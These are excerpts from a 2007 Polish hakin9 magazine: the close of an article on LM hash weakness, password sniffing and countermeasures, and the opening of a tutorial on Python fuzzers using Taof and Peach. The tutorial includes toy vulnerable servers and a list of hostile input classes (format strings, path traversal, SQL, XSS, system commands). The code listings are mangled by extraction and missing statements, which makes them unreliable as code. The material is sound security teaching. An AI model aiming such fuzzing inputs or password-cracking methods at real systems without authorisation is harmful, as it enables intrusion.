algorytmu kryptograficznego, gdyż
stosowana w nim funkcja hashująca
LM (Microsoft LAN Manager) działa
w sposób dalece niezadowalający,
jeżeli chodzi o bezpieczeństwo ha-
seł. System Windows używa algoryt-
mu LM do hashowania haseł 14–zna-
kowych i krótszych. Ze względu na
wsteczną zgodność z poprzednimi
wersjami tego systemu operacyjne-
go, algorytm LM jest domyślnie sto-
sowany we wszystkich systemach,
skończywszy na wersji Windows XP
(Windows Vista wykorzystuje algo-
rytm NTLMv2). LM działa w następu-
jący sposób:
• zamienia małe litery hasła na lite-
ry wielkie,
• długość hasła jest zrównywana
do 14 znaków (jeżeli hasło jest
krótsze, zostaje odpowiednio uzu-
pełnione),
• hasło jest następnie dzielone na
7–bajtowe części,
• obydwie części są stosowane do
utworzenia dwóch kluczy za po-
mocą algorytmu DES,
• każdy z kluczy zostaje następnie
użyty do zaszyfrowania algoryt-
mem DES niezmiennego łańcu-
cha znaków KGS!@#$%, czego
efektem są dwa 8–bajtowe szy-
frogramy,
• tak uzyskane szyfrogramy podle-
gają prostej konkatenacji do jedne-
go 16–bajtowego łańcucha, który
odtąd uznany zostaje za hash LM.
Nietrudno zauważyć, że opisany
wyżej algorytm ma przynajmniej
dwie poważne wady. Po pierwsze,
siła każdego hasła jest znacznie
zmniejszona przez fakt, że nie jest
ono hashowane jako całość. Po-
zwala to zaatakować oddzielnie
części haseł, co obliczeniowo sta-
nowi duże ułatwienie.
Po drugie, zamiana wszystkich
liter na litery wielkie również znacz-
nie obniża siłę hasła. Powstało wie-
le narzędzi, które wykorzystują wy-
mienione podatności algorytmu LM
i pozwalają na szybkie łamanie ha-
seł. Jednym z nich jest popularne
narzędzie dedykowane do syste-
mów Windows – Cain & Abel (Ry-
sunek 5).
Słaby algorytm kryptograficz-
ny w połączeniu z nowoczesnymi
metodami łamania haseł wykorzy-
stującymi m. in. tęczowe tablice to
duże zmartwienie dla administrato-
rów i osób zajmujących się zabez-
pieczaniem informacji. Jedyne po-
cieszenie w tym, że istnieje jeszcze
pierwsza linia obrony – tzn. unie-
możliwienie, aby ktokolwiek wszedł
w posiadanie skrótów haseł.
Podsłuchiwanie haseł
Podsłuchiwanie haseł (ang. password
sniffing) stanowi często ostatnią
szansę dla hakera na pozyskanie
upragnionego hasła. Sniffing to de
facto technika ataku na transmisję
– tzw. przechwycenie. Podsłuchiwa-
nie jest wykorzystywane do maso-
wego pozyskiwania i gromadzenia
haseł nawet dużej ilości użytkow-
ników. Zakłada zastosowanie spe-
cjalnych narzędzi, które ułatwiają filtra-
cję pakietów i dostarczają hakerowi
wyselekcjonowanych informacji, czyli
mówiąc wprost – haseł. Zasięg pro-
gramu nasłuchującego ograniczo-
ny jest w zasadzie do domeny roz-
głoszeniowej, pozwala to jednak na
skuteczny podsłuch. Wiele wciąż
intensywnie wykorzystywanych pro-
tokołów sieciowych realizuje jawny
transfer haseł (przesyła hasła otwar-
tym tekstem). Ma to miejsce choćby
w przypadku protokołu FTP, HTTP
(uwierzytelnianie basic authentica-
tion), POP3, SMTP, IMAP, NNTP,
VNC, TDS, ICQ. Użytkownik jest
często skazany na korzystanie
z niebezpiecznych sposobów prze-
syłania haseł, a jedyną – mało atrak-
cyjną – alternatywą jest zaprzestanie
korzystania z określonej usługi.
Najbardziej sensownym sposo-
bem na praktyczne wyeliminowa-
nie podsłuchiwania haseł jest szy-
frowanie transmisji. Wystarczy więc
stosować tzw. bezpieczne protoko-
ły komunikacji, jak np. SSL (Secure
Socket Layer), SSH (Secure Shell),
SCP (Secure Copy Protocol) etc.
Zapewniają one dostateczny poziom
bezpieczeństwa i z użytkowego
punktu widzenia nie są uciążliwe.
Inne metody
Oczywiście istnieje jeszcze cały
szereg metod, które mniej lub bar-
dziej pośrednio prowadzą do ujaw-
nienia treści hasła. Niektóre z nich
trudno nawet zaliczyć do ataków
na hasła, gdyż dotyczą bezpie-
czeństwa systemów komputerowych
i sieci w ogóle. Wspomnę więc tyl-
ko o:
• zastosowaniu koni trojańskich
(ang. Trojan horses),
• przechwytywaniu do pliku sygna-
łów z klawiatury (ang. keystroke
logging),
• podmienianiu formularza logowa-
nia (ang. login spoofing),
• przejęciu sesji (atak man in the
middle) i podszywaniu (ang. spo-
ofing),
• kryptoanalizie akustycznej (ang.
acoustic cryptoanalysis).
Wymienione działania mają mniej-
sze znaczenie, co nie oznacza,
że są niegroźne. Przede wszyst-
kim dużo trudniej je przeprowa-
dzić, gdyż wymagają albo stosun-
Rysunek 6.
SniffPass – proste narzędzie podsłuchowe
Słabość mocnych haseł
hakin9 Nr 12/2007
www.hakin9.org
43
kowo dużej wiedzy, albo dużych nakładów pracy, albo
wystąpienia okrślonych uwarunkowań. Wszystko jest
oczywiście kwe-stią wysiłku, jaki haker chce włożyć
w pozyskanie określonego hasła. Mając do dyspozy-
cji szereg technik najczęściej wybiera taką, która zre-
alizuje jego cel przy minimalnym angażowaniu środ-
ków i czasu.
Podsumowanie
Bezpieczeństwo jest zawsze wypadkową dwóch sił
– ataku i obrony, zasada ta znajduje również pełne
zastosowanie w przypadku haseł. Czasem najsilniej-
sze hasło może zostać złamane z powodu źle zapro-
jektowanego procesu uwierzytelniania, a najsłabsze
hasło może być przez system skutecznie chronione
przed wszystkimi popularnymi technikami crackerski-
mi. Generalnie do każdej z metod ataku można przypi-
sać stosunkowo efektywną technikę przeciwdziałania,
jej zastosowanie zależy już jednak od decyzji człowie-
ka. Przyszłość haseł jako metody uwierzytelniania
w systemach komputerowych jest według mnie nadal
sporą zagadką. Wielokrotnie już wróżono zmierzch
epoki haseł i za każdym razem działo się inaczej. Ha-
sła prawdopodobnie będą nam jeszcze towarzyszyły
przez najbliższy czas. Ciekawe jest natomiast kształ-
towanie się metod i technik ataków na hasła wraz ze
wzrostem mocy obliczeniowej komputerów. Zgodnie
z prawem Moore'a (Gordon E. Moore, współzałoży-
ciel Intela), szybkość przetwarzania układów cyfro-
wych podwaja się co około dwa lata. Ma to doniosłe
konsekwencje dla całego świata IT, także i dla bezpie-
czeństwa systemów komputerowych, gdyż to, co było
uznawane za bezpieczne jeszcze kilka lat temu – wca-
le już takie być nie musi.
W artykule opisałem lub przywołałem większość
istotnych zagadnień związanych z szeroko pojętym
bezpieczeństwem haseł. Jak widać, sposobów na ich
nieuprawnione pozyskanie jest całkiem sporo. Dodając
do tego nieświadomość i niedoinformowanie użytkow-
ników, a także wpadki producentów oprogramowania
i naukowców – jak np. słabe algorytmy kryptograficzne
czy brak funkcjonalności typu lockout – można powie-
dzieć, że hasła w swej istocie są rzeczywiście stosun-
kowo słabym środkiem ochrony informacji i innych ak-
tywów systemu. l
O autorze
Autor zawodowo zajmuje się inżynierią oprogramowania,
w szczególności rozwiązaniami data–centric. Obecnie jest
szefem zespołu pracującego nad usługami inteligentnej auto-
matyzacji danych w Dziale Badawczo–Rozwojowym w firmie
Anica System S.A. Od 6 lat interesuje się zagadnieniami bez-
pieczeństwa informacji.
Kontakt z autorem : marcin@guzowski.info
www.hakin9.org
hakin9 Nr 12/2007
44
Atak
N
ajogólniej mówiąc, fuzzingiem może-
my nazwać pewną grupę procesów
i powiązany z nią zestaw aplikacji słu-
żących do przeprowadzania testów podatności
programów. Fuzzing polega na przekazywaniu
do testowanego programu częściowo losowych
danych, które są akceptowane przez program,
ale mogą doprowadzić do jego nieprawidłowe-
go zachowania. Z reguły fuzzery przekazują
wygenerowane dane w sposób automatycz-
ny poprzez manipulowanie wywołaniami inter-
fejsów. Podczas badań nad bezpieczeństwem
danego programu automatyzacja pewnych pro-
cesów jest rzeczą normalną. Dzisiejsze progra-
my są na tyle złożone i trudne do przeanalizo-
wania, że ręczne wykrywanie błędów byłoby
katorgą. Ważny jest także czas poświęcony na
wykrycie danej podatności – fuzzery potrafią
w kilka minut sprawdzić, czy kod napisany jest
w poprawny sposób i zwrócić wynik testów. Z po-
wyższych zalet można wywnioskować, że zna-
jomość popularnych fuzzerów, ich budowy oraz
sposobu działania może być bardzo przydatna.
W związku z tym, że ogólna teoria fuzzingu zo-
stała już omówiona na łamach hakin9, w tym
artykule zajmiemy się praktycznymi aspekta-
mi tej ciekawej gałęzi bezpieczeństwa kom-
puterowego (chociaż zostaną przedstawione
wymagane podstawy teoretyczne). Z uwagi na
szybki rozwój języka Python i jego duży udział
w procesie tworzenia programów testujących,
zajmiemy się właśnie fuzzerami napisanymi
w tym języku. Dzięki prostocie Pythona będzie-
my mogli prześledzić proces tworzenia fuzzera
i zaimplementować swoje własne funkcje, do-
stosowane do konkretnego przypadku.
Python – tworzenie
fuzzerów
Piotr Łaskawiec
stopień trudności
Testowanie programów i systemów pod kątem ewentualnych
luk w bezpieczeństwie jest czynnością coraz bardziej popularną.
Można ją wykonywać ręcznie lub z wykorzystaniem pomocnych
narzędzi, które w znacznym stopniu ułatwiają pracę. Warto
poznać budowę i sposób działania tych narzędzi oraz techniki
wykorzystywane do ich pisania.
Z artykułu dowiesz się
• czym jest fuzzing,
• które fuzzery napisane w Pythonie są godne
uwagi,
• jak testować aplikacje i wyłapywać błędy,
• jak napisać własnego fuzzera od podstaw lub
z wykorzystaniem gotowych frameworków.
Co powinieneś wiedzieć
• powinieneś znać podstawowe typy błędów wy-
stępujących w programach,
• powinieneś znać przynajmniej podstawy Py-
thona,
• powinieneś mieć doświadczenie w testowaniu
aplikacji.
Python – tworzenie fuzzerów
hakin9 Nr 12/2007
www.hakin9.org
45
Teoria fuzzingu
Fuzzery możemy wykorzystać do
testowania różnych aplikacji. Ich za-
stosowanie nie ogranicza się tylko
i wyłącznie do aplikacji wykonywa-
nych lokalnie. Większości analiz do-
konuje się na programach sieciowych,
wykorzystujących protokoły TCP
i UDP.
Działaniu fuzzera możemy podda-
wać:
• aplikacje działające lokalnie,
• aplikacje internetowe,
• kontrolki ActiveX,
• biblioteki współdzielone,
• pliki (tworzenie niestandardo-
wych formatów),
• inne.
Nie tylko cele działania fuzzera są
zróżnicowane. Możemy wyróżnić
także kilka typów narzędzi testu-
jących – w zależności od sposo-
bu działania i efektywności. Pierw-
szą i najprostszą grupę stanowią
fuzzery manualne. Praktycznie nie
wykorzystujemy w nich oprogramo-
wania dodatkowego (w przypadku
testowania aplikacji sieciowej ko-
rzystamy z zestawu klient/serwer).
Manualne sprawdzanie podatności
polega na obserwowaniu działania
programu, wyszukiwaniu intere-
sujących danych i ich modyfikacji
(wprowadzamy własne wartości).
Po wprowadzeniu spreparowanych
danych obserwujemy reakcję pro-
gramu. W przypadku fuzzingu ma-
nualnego oszczędność czasu w sto-
sunku do analizy statycznej (analizy
kodu źródłowego lub binarnego) nie
jest wyraźnie widoczna. W związku
z tym możemy wykorzystać fuzzery
półautomatyczne. W tym przypadku
używamy skryptu, który uruchamia
pojedynczą instancję naszego te-
stowanego programu, wprowadza-
jąc do niej spreparowane dane. Na-
szym zadaniem jest obserwowanie
zachowania programu i wyłapywa-
nie ewentualnych anomalii. Ostatnią
formą, najbardziej zaawansowaną
i popularną, jest fuzzing auto-
matyczny. Do zautomatyzowania
procesu testowania używane są
skrypty, które wprowadzają do te-
stowanego programu częściowo lo-
sowe dane w sposób nieprzerwa-
ny, w oczekiwaniu na błąd. Jednym
z takich automatycznych testerów
jest Taof, fuzzer napisany w całości
w Pythonie.
Taof
Zanim zaczniemy pisać własne fuz-
zery, warto przyjrzeć się dotychcza-
sowej pracy innych programistów.
Idealnym przykładem będzie Taof,
ciekawy fuzzer wyspecjalizowany
w testowaniu protokołów sieciowych.
Możemy go pobrać ze strony (1).
Jest to obecnie jeden z najlepszych
produktów dostępnych na rynku.
Rysunek 1.
Konfiguracja połączenia
w Taof
Fuzzery napisane w Pythonie
• Peach – wieloplatformowy framework, którego głównymi cechami są duże możliwo-
ści oraz prostota użycia. Jest jednym z najpopularniejszych frameworków służących
do budowania fuzzerów. Został opisany w tym artykule.
• Taof – fuzzer wyspecjalizowany w testowaniu protokołów sieciowych. Posiada roz-
budowane GUI (Graphic User Interface). Współpracuje z systemami Linux i Win-
dows. Został opisany w tym artykule.
• SMUDGE – fuzzer wyłącznie protokołów sieciowych. Podobny w działaniu do
Taof, wspiera szeroką gamę protokołów.
• FileP – program przeznaczony do generowania zmodyfikowanych plików na pod-
stawie określonego wzorca i wysyłanie ich do zewnętrznej (testowanej) aplikacji.
• Antiparser – prosty framework. Dzięki mało skomplikowanej budowie jego kod ide-
alnie nadaje się do analizy. Niestety, projekt nie jest rozwijany od 2005 roku.
Wszystkie opisane programy można pobrać ze strony (2).
Rysunek 2.
Określanie punktów
fuzzingu
Wykorzystanie Pythona przy tworzeniu fuzzerów
Python jest językiem programowania, który niewątpliwie zrobił wrażenie na doświad-
czonych programistach. Oczywiście, każdy powinien programować w języku odpowia-
dającym osobistym preferencjom – ale faktem jest, że coraz więcej osób wykorzystuje
Pythona do tworzenia oprogramowania testującego inne aplikacje pod kątem błędów
mogących zagrozić bezpieczeństwu. Jest to zasługa prostoty samego języka, przejrzy-
stości kodu źródłowego, ale także ogromnych możliwości manipulowania ciągami tek-
stowymi. Co więcej, Python jest językiem o wiele mniej skomplikowanym niż C/C++,
a napisanie w pełni funkcjonalnego programu zajmuje kilkakrotnie mniej czasu. Jedy-
nym minusem jest mniejsza szybkość pracy programu wynikająca ze skryptowej na-
tury Pythona.
hakin9 Nr 12/2007
www.hakin9.org
Atak
46
Świetnie nadaje się do szybkiego
testowania nieznanych protokołów.
Został doceniony przez światowej
klasy specjalistów i uznany za jeden
z najlepszych fuzzerów w swojej ka-
tegorii (protokoły sieciowe). Potwier-
dzeniem tego może być fakt umiesz-
czenia Taof w dystrybucji Backtrack,
zawierającej najlepsze oprogramo-
wanie służące do testów bezpie-
czeństwa.
Warto przeanalizować sposób
działania Taof. Program ten pośred-
niczy w wymianie informacji pomię-
dzy klientem a serwerem. Przeka-
zuje dane od serwera do klienta
i odwrotnie. Podczas tej operacji
zapisuje wszystkie wywołania, któ-
re zostaną później wykorzystane
do określenia rodzaju danych pod-
legających fuzzingowi. Taki spo-
sób wyłapywania potrzebnych da-
nych w znacznym stopniu ułatwia
zrozumienie działania danego pro-
tokołu. Wyklucza on potrzebę mo-
nitorowania całego ruchu w sieci
(np. poprzez sniffing) i w znaczą-
cy sposób upraszcza proces konfi-
guracji. Wspomnianą konfigurację
Taof i jego działanie przedstawia-
ją Rysunki 1 i 3. Na Rysunku 1. wi-
dzimy okno odpowiedzialne za kon-
figurację portów. Opcje widoczne
w sekcji Local settings odpowiedzial-
ne są za adres IP i numer portu,
na którym nasłuchuje Taof. Sekcja
Remote settings odpowiada za ad-
res serwera. Po ustawieniu wszyst-
kich opcji łączymy się poprzez na-
szego klienta z adresem podanym
Rysunek 3.
Fuzzing
Listing 1.
Serwer symulujący lukę w bezpieczeństwie
from
socket
import
*
import
sys
#konfiguracja polaczenia
host
=
''
port
=
50008
#nasluchujemy
sck
=
socket
(
AF_INET
,
SOCK_STREAM
)
sck
.
bind
((
host
,
port
))
sck
.
listen
(
10
)
#odbieramy pakiety od klientow
while
True
:
conn
,
addr
=
sck
.
accept
()
'Polaczono z '
,
addr
while
True
:
data
=
conn
.
recv
(
1024
)
if
not
data
:
break
if
len
(
data
)
>=
32
:
'Naruszenie pamieci'
sys
.
exit
()
conn
.
send
(
'Poprawnie odebrano dane'
)
conn
.
close
()
Listing 2.
Klient wysyłający dane do serwera
import
socket
import
sys
port
=
50009
host
=
'localhost'
#nawiazujemy polaczenie
mysocket
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
mysocket
.
connect
((
host
,
port
))
#wczytujemy dane
message
=
sys
.
argv
[
1
]
#wysylamy i odbieramy dane
mysocket
.
send
(
message
)
temp
=
mysocket
.
recv
(
1024
)
temp
#zamykamy polaczenie
mysocket
.
close
()
Listing 3.
Przykład kodu z wykorzystaniem frameworku Peach
from
Peach
import
*
from
Peach
.
Generators
import
*
grupa
=
group
.
Group
()
#tworzymy nasz generator
generator
=
block
.
Block
([
data
.
Static
(
'AAA'
)
,
#statyczne, niezmienne dane
repeater
.
Repeater
(
grupa
,
data
.
Static
(
'X'
)
,
1
,
10
)
,
#powtarza dana
operacje
data
.
Static
(
'BBB'
)
,
])
while
True
:
generator
.
getValue
()
#pobieranie kolejnej wartości z generatora
grupa
.
next
();
#
przejscie
do
nastepnej
czesci
grupy
Python – tworzenie fuzzerów
hakin9 Nr 12/2007
www.hakin9.org
47
w Local settings. Po nawiązaniu po-
łączenia zauważymy, że Taof prze-
chwycił pewną porcję danych. Może-
my wtedy rozłączyć się z serwerem
i określić tzw. punkty fuzzingu, czyli
dane, które mają zostać zastąpione
przez fuzzera losowymi (patrz Ry-
sunek 2). Następnie łączymy debug-
ger z procesem odpowiedzialnym
za pracę serwera. Po wykonaniu
tej operacji możemy przystąpić do
fuzzingu, który przedstawiony jest
na Rysunku 3. Testowany program
sprawdzony zostanie pod kątem po-
datności m. in. na przepełnienie bu-
fora oraz błędy ciągów formatują-
cych.
Zobaczmy czy Taof naprawdę
działa. Przetestujmy za jego pomo-
cą aplikację przedstawioną na Listin-
gu 1. Jest to prosty serwer napisany
w Pythonie, który symuluje pewien
popularny błąd, a mianowicie przepeł-
nienie bufora. Warunek
len(data) >=
32
(gdzie data jest naszym buforem)
informuje, że jeżeli serwer otrzyma
od klienta porcję danych, której dłu-
gość przekracza 32 znaki, to połą-
czenie zostanie automatycznie ze-
rwane, a serwer przestanie działać.
Jest to przykład ataku DoS (Denial
of Service), spowodowanego istnie-
niem błędu pozwalającego na prze-
pełnienie bufora. Przyjmijmy, że nie
wiemy nic o istnieniu tego błędu i je-
steśmy dopiero w fazie testowania
naszego programu. Wykonujemy na-
stępujące operacje.
Najpierw uruchamiamy skrypt od-
powiedzialny za pracę serwera. Na-
stępnie włączamy Taof i w opcjach
połączenia ustawiamy: w sekcji Local
settings adres IP na 0.0.0.0 i port
na 50009, a w sekcji Remote set-
tings adres IP na localhost i port na
50008. Po wykonaniu tej operacji
aktywujemy Taof i za pomocą klienta
kilkukrotnie łączymy się z serwerem,
przesyłając dowolne dane. Wykorzy-
stujemy do tego polecenie:
python klient.py <przesylane dane>
Po przechwyceniu instrukcji prze-
syłanych do serwera, ustawiamy
na nich punkty naszego fuzzingu,
dołączamy debugger do procesu
python.exe (przy założeniu, że pra-
cujemy na systemie z rodziny Win-
dows) i rozpoczynamy fuzzing. Po
kilku chwilach będą widoczne pierw-
sze efekty. Do programu zostały
wstrzyknięte spreparowane dane,
aplikacja została zamknięta, a Taof
zwrócił stosowny opis błędu (patrz
Rysunek 4).
Tym sposobem znaleźliśmy po-
datność naszego testowego serwera
na przepełnienie bufora. W podobny
sposób będą reagować inne, praw-
dziwe (nie symulujące danego błę-
du) aplikacje.
Piszemy własny fuzzer
Wiemy już, jak działają fuzzery.
Nadszedł czas na napisanie wła-
snej aplikacji testowej. Możemy te-
go dokonać na dwa sposoby – wy-
korzystując jeden z popularnych
R
E
K
L
A
M
A
hakin9 Nr 12/2007
www.hakin9.org
Atak
48
frameworków lub pisząc nasz pro-
gram od podstaw. Zanim jednak
przejdziemy do pisania kodu, war-
to zastanowić się nad funkcjami,
jakie powinien posiadać nasz fuz-
zer. Budując naszą aplikację stanie-
my także przed wyborem systemu
pracy – będziemy musieli wybrać
pomiędzy fuzzerem, który w żaden
sposób nie analizuje kodu progra-
mu i potrafi wyłącznie wstrzykiwać
losowe dane, a aplikacją bardziej
inteligentną, która będzie czuła
na wykorzystywane protokoły czy
systemy plików. Oczywiście, wła-
ściwy wybór zależy od przezna-
czenia naszego fuzzera – musimy
zastanowić się, czy piszemy pro-
gram uniwersalny, czy dostosowany
do konkretnego przypadku. Kolejną
rzeczą, na którą trzeba zwrócić uwa-
gę, jest określenie celu działania
naszego programu – należy okre-
ślić, czy będzie on w stanie testować
pliki wykonywalne (ELF, PE), pliki
graficzne, pliki XML, czy też proto-
koły sieciowe. Warto sprecyzować
możliwości fuzzera i na początku
skupić się tylko na jednej ścieżce.
Wraz ze wzrostem doświadczenia
będziemy mogli dalej rozwijać nasz
program i dodawać kolejne ulepsze-
nia. Przejdźmy teraz do najważniej-
szego aspektu pisania fuzzera, czyli
do opisu danych wprowadzanych do
testowanego programu. Podczas
fuzzingu powinny być przekazywane
następujące dane:
• długie ciągi znaków mogące
spowodować przepełnienie bu-
fora,
• ciągi zawierające specyfikatory
formatu (
%x
,
%n
,
%s
itd.) mogące
ujawnić istnienie błędów łańcu-
chów formatujących,
• puste łańcuchy tekstowe,
• liczby przekazywane w ciele strin-
gów,
• wywołania używane podczas po-
szukiwania błędów XSS,
• zapytania SQL,
• duże liczby,
• liczby ujemne,
• znaki używane do poruszania się
pomiędzy katalogami (np. ../../../),
• znaki końca linii, nawiasy i ko-
mendy systemowe.
• Wszystkie te dane mogą dopro-
wadzić do nieprawidłowego dzia-
łania atakowanej aplikacji. Należy
o nich pamiętać i, w miarę moż-
liwości, dodawać ich obsługę do
naszego fuzzera. Jakie zdarze-
nia mogą powodować wymienio-
ne powyżej dane? To zależy od
programu. Najczęściej mogą do-
prowadzić do zakończenia pra-
cy aplikacji, jej zawieszenia się
lub zarezerwowania dużej ilości
pamięci. Jeżeli podczas fuzzin-
gu udało nam się uzyskać jeden
z tych efektów, znaczy to, że od-
nieśliśmy sukces.
Peach Framework
Nie musimy od razu rozpoczynać
prac nad własnym, w pełni autorskim
fuzzerem. Na początku możemy wy-
korzystać dostępne i sprawdzone
narzędzia. Jednym z nich jest Peach,
zaawansowany framework wspoma-
gający tworzenie fuzzerów. Jest pro-
sty w użyciu, zapewnia wsparcie
popularnych protokołów i jest cią-
gle rozwijany. Ponieważ omówienie
wszystkich zalet i możliwości Peach
zajęłoby niejedną książkę, w tym ar-
tykule zostaną przedstawione tylko
jego najważniejsze cechy.
Rysunek 4.
Działanie sniffera
Składniki frameworku Peach
• Generators – służą do generowania różnego rodzaju danych. Posiadają szeroki
wachlarz możliwości, poczynając od danych statycznych (niezmiennych łańcuchów
tekstowych), poprzez części adresów URL, a na nagłówkach plików graficznych
kończąc. Możemy używać także bardziej szczegółowych danych – złych adresów
IP, nieprawidłowych łańcuchów tekstowych czy nieodpowiednich nazw plików.
• Publishers – jest to zbiór miejsc docelowych, do których będą wysyłane genero-
wane dane. Peach pozwala nam wysyłać dane do standardowego wyjścia, plików,
połączeń ODBC, TCP i UDP oraz sesji FTP. Jest to standardowy zbiór, który oczy-
wiście możemy rozszerzyć poprzez własne implementacje.
• Transformers – pozwalają zmieniać dane według określonego wzorca. Peach udo-
stępnia nam szereg takich narzędzi obsługujących m. in. kodowanie bzip2, gzip,
algorytmy MD5 oraz SHA1, a także zmianę kodowania (UTF8, UTF16, URL).
• Group – grupy powiązane są z generatorami. Używane są do modyfikacji kolej-
nych wartości produkowanych przez generatory. Za ich pomocą możemy tworzyć
schematy pracy generatorów i uzyskać nad nimi pełną kontrolę.
Python – tworzenie fuzzerów
hakin9 Nr 12/2007
www.hakin9.org
49
W Ramce Wykorzystanie języka
Python przy tworzeniu fuzzerów zo-
stały przedstawione najważniejsze
składniki Peach. Korzystanie z same-
go frameworku jest intuicyjne i nie po-
winno sprawiać większych kłopotów.
Z uwagi na przykłady przedstawio-
ne na Listingach 5. i 6. warto przy-
bliżyć sposób posługiwania się
Peach. Załóżmy, że chcemy wyge-
nerować porcję danych spełniającą
następujący warunek:
AAA[1-10]XBBB
(
3
pierwsze litery
A
, potem od
1
do
10
liter
X
, a na końcu
3
litery
B
). Kod
przedstawiony jest na Listingu 3.
Mam nadzieję, że kod na Listin-
gu 3. jest zrozumiały. Spróbujmy go
omówić. Każdy projekt opierający
się na Peach rozpoczynamy od za-
importowania odpowiednich modu-
łów. Następnie tworzymy grupę. Jej
zastosowanie nie jest w tym przy-
padku oczywiste, ale to dobre wpro-
wadzenie do kolejnego przykładu.
Później tworzymy nasz generator za
pomocą wywołania
Block()
. Określa-
my warunki zgodnie z naszym sche-
matem (
AAA[1-10]XBBB
). W liście prze-
kazywanej do Block() znajdują się
dwie kolejne, nieznane nam jeszcze,
funkcje:
Static()
oraz
Repeater()
.
Pierwsza z nich określa statyczny
łańcuch tekstowy (nie ulegający zmia-
nie), a wystąpienie drugiej oznacza
rozpoczęcie ciągu powtarzających
się znaków. Ciąg ten wydluża się
o 1 wraz z kolejnym wywołaniem
generatora. Listing 3. kończy się
wywołaniami: funkcji
getValue()
, od-
Listing 4.
Przykład kodu z wykorzystaniem frameworku Peach – użycie
grup
from
Peach
import
*
from
Peach
.
Generators
import
*
grupaX
=
group
.
Group
()
grupaY
=
group
.
Group
()
group
=
group
.
GroupSequence
([
grupaX
,
grupaY
]
,
"Prosty Generator"
)
generator
=
block
.
Block
([
data
.
Static
(
'AAA'
)
,
#statyczne, niezmienne dane
repeater
.
Repeater
(
grupaX
,
data
.
Static
(
'X'
)
,
1
,
10
)
,
#powtarza dana
operacje
repeater
.
Repeater
(
grupaY
,
data
.
Static
(
'Y'
)
,
1
,
10
)
,
#powtarza dana
operacje
data
.
Static
(
'BBB'
)
,
])
while
True
:
generator
.
getValue
()
#pobieranie kolejnej wartości z generatora
grupa
.
next
();
#
przejscie
do
nastepnej
czesci
grupy
Listing 5.
Serwer symulujący błąd typu format string (vul.py)
import
sys
bufor
=
sys
.
argv
[
1
]
#przekazywany parametr bez weryfikacji
if
'%x'
in
bufor
:
'a7 45 8b 9a...'
#dane ze stosu
elif
'%n'
in
bufor
:
'c5 d8 15 39...'
#dane ze stosu
else
:
'Dane wprowadzone poprawnie'
Listing 6.
Program testujący program vul.py
from
Peach
.
Generators
import
*
import
os
import
string
def
run
(
program
,
*
args
):
#szuka pliku wykonywalnego
for
path
in
string
.
split
(
os
.
environ
[
"PATH"
]
,
os
.
pathsep
):
file
=
os
.
path
.
join
(
path
,
program
)
+
".exe"
try
:
return
os
.
spawnv
(
os
.
P_WAIT
,
file
,
(
file
,
)
+
args
)
except
os
.
error
:
pass
raise
os
.
error
,
"Nie mozna odszukac pliku wykonywalnego"
test_value
=
data
.
BadStrings
()
#zbiór wadliwych danych
i
=
1
while
True
:
i
,
" - "
,
test_value
.
getValue
()
#aktualnie testowene dane
run
(
"python"
,
"vul.py"
,
test_value
.
getValue
())
test_value
.
next
()
#przechodzimy do nastepnego elementu zbioru
i
+=
1
Terminologia
• Framework – jest to zestaw narzę-
dzi (np. biblioteki) wspomagający
tworzenie programów danego typu.
Framework jest szkieletem nowo-
powstającej aplikacji, zapewniając jej
podstawowe funkcje i operacje za-
leżnie od przeznaczenia framewor-
ku (np. nawiązywanie połączeń, ge-
nerowanie podstawowych elemen-
tów GUI).
• Debugger – program wykorzysty-
wany do analizowania kodu źródło-
wego lub kodu maszynowego innej
aplikacji w celu znalezienia ewentu-
alnych nieprawidłowości. Debugge-
ry śledzą kod i potrafią wykonywać
instrukcje krok po kroku, co ułatwia
znalezienie miejsca występowania
błędu. Jednym z najbardziej zna-
nych debuggerów jest OllyDBG (do
pobrania ze strony (4)).
hakin9 Nr 12/2007
www.hakin9.org
Atak
50
powiedzialnej za pobieranie aktualnie
wygenerowanego ciągu, oraz meto-
dy
next()
– powodującej przejście do
kolejnej iteracji.
Na Listingu 4. zostało przedsta-
wione bardziej złożone wykorzystanie
grup. Poprzez funkcję
GroupSequence()
tworzymy strukturę składającą się
z dwóch grup. Następnie każda grupa
zostanie przydzielona do innego obiek-
tu Repeater. Powoduje to dość cieka-
we działanie obu obiektów Repeater
(odpowiedzialnych za dziesięciokrot-
ne wyświetlanie
X
i
Y
) – najpierw zosta-
nie wykonana pętla odpowiedzialna za
wykonanie
X
(analogicznie jak w po-
przednim wypadku), a następnie bę-
dzie wykonana pętla dla
Y
. Nie będą
one wykonywane niezależnie.
Przejdźmy teraz do rzeczy bar-
dziej praktycznych. Na Listingu 5.
znajduje się kod aplikacji, która
symuluje błąd ciągów formatują-
cych. Naszym zadaniem jest prze-
testowanie programu za pomocą
własnoręcznie napisanej aplika-
cji wspomaganej frameworkiem
Peach. Kod naszego autorskie-
go programu możemy zobaczyć
na Listingu 6. W przedstawionym
programie wykorzystujemy funk-
cję
BadStrings()
, która zwraca nam
kilkadziesiąt niepoprawnych łań-
cuchów tekstowych. Łańcuchy te
przekazujemy do naszego testo-
wanego programu, który urucha-
miamy za pomocą wbudowanej
w Pythona funkcji spawnv(). Wynik
działania programu przedstawiony
jest na Rysunku 5. Warto zainte-
resować się linijkami z wywołania-
mi 44, 45 i 46. Przedstawiają one
udaną próbę ataku na aplikację.
Jak już pisałem wcześniej,
w tak krótkim czasie trudno jest opi-
sać wszystkie zagadnienia związa-
ne z Peach. Trzeba poświęcić trochę
czasu na zgłębianie jego tajników na
własną rękę. Mogę jednak zapewnić,
że nie będzie to czas zmarnowany.
Własny fuzzer
Oczywiście, nie jesteśmy ska-
zani na wykorzystywanie goto-
wych frameworków. Nic nie stoi na
przeszkodzie, aby przy odrobinie
samozaparcia napisać od podstaw
własny fuzzer. Trzeba jednak pa-
miętać o kilku rzeczach. Warto
zacząć od kodowania fuzzerów do-
stosowanych do konkretnego pro-
blemu (dany jest program, znany
jest nam sposób komunikacji po-
między klientem a serwerem itd.).
Potem możemy próbować przymie-
rzyć się do uniwersalnych testerów
lub frameworków. Wymagają one
jednak wiele pracy – trzeba dogłęb-
nie poznać reguły testowania opro-
gramowania pod kątem luk w bez-
pieczeństwie i mieć spore doświad-
czenie w programowaniu. W trakcie
pracy będziemy spotykać się głów-
nie z problemami związanymi z for-
matowaniem i dobieraniem odpo-
wiednich ciągów tekstowych. Do
takich operacji Python jest idealny.
Wyrażenia regularne, swobodne
operacje na stringach i szybkość
pracy pozwolą uzyskać całkiem
niezłe efekty programistyczne. Że-
by np. wyświetlić w Pythonie ciąg
złożony z liter A, których ilość okre-
